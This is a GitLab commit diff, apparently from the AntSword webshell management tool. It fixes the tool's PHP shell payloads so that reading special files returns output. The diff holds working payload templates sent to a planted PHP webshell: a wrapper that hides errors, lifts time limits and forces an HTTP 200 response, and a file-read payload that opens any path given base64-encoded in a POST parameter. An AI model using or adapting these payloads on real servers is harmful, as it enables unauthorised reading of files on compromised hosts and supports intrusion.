Commit 0e530517 authored by Medicean's avatar Medicean

PHP Shell 读特殊文件无返回问题

parent b2708124
...@@ -50,7 +50,7 @@ class PHP extends Base { ...@@ -50,7 +50,7 @@ class PHP extends Base {
// 组合完整的代码 // 组合完整的代码
let tmpCode = data['_']; let tmpCode = data['_'];
data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);echo "${tag_s}";${tmpCode};echo "${tag_e}";die();`; data['_'] = `@ini_set("display_errors", "0");@set_time_limit(0);header('HTTP/1.1 200 OK');echo "${tag_s}";${tmpCode};echo "${tag_e}";die();`;
// 使用编码器进行处理并返回 // 使用编码器进行处理并返回
return this.encodeComplete(tag_s, tag_e, data); return this.encodeComplete(tag_s, tag_e, data);
......
...@@ -24,7 +24,7 @@ module.exports = (arg1, arg2, arg3) => ({ ...@@ -24,7 +24,7 @@ module.exports = (arg1, arg2, arg3) => ({
read_file: { read_file: {
_: _:
`$F=base64_decode($_POST["${arg1}"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)));@fclose($P);`, `$F=base64_decode($_POST["${arg1}"]);$P=@fopen($F,"r");echo(@fread($P,filesize($F)?filesize($F):4096));@fclose($P);`,
[arg1]: "#{base64::path}" [arg1]: "#{base64::path}"
}, },
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment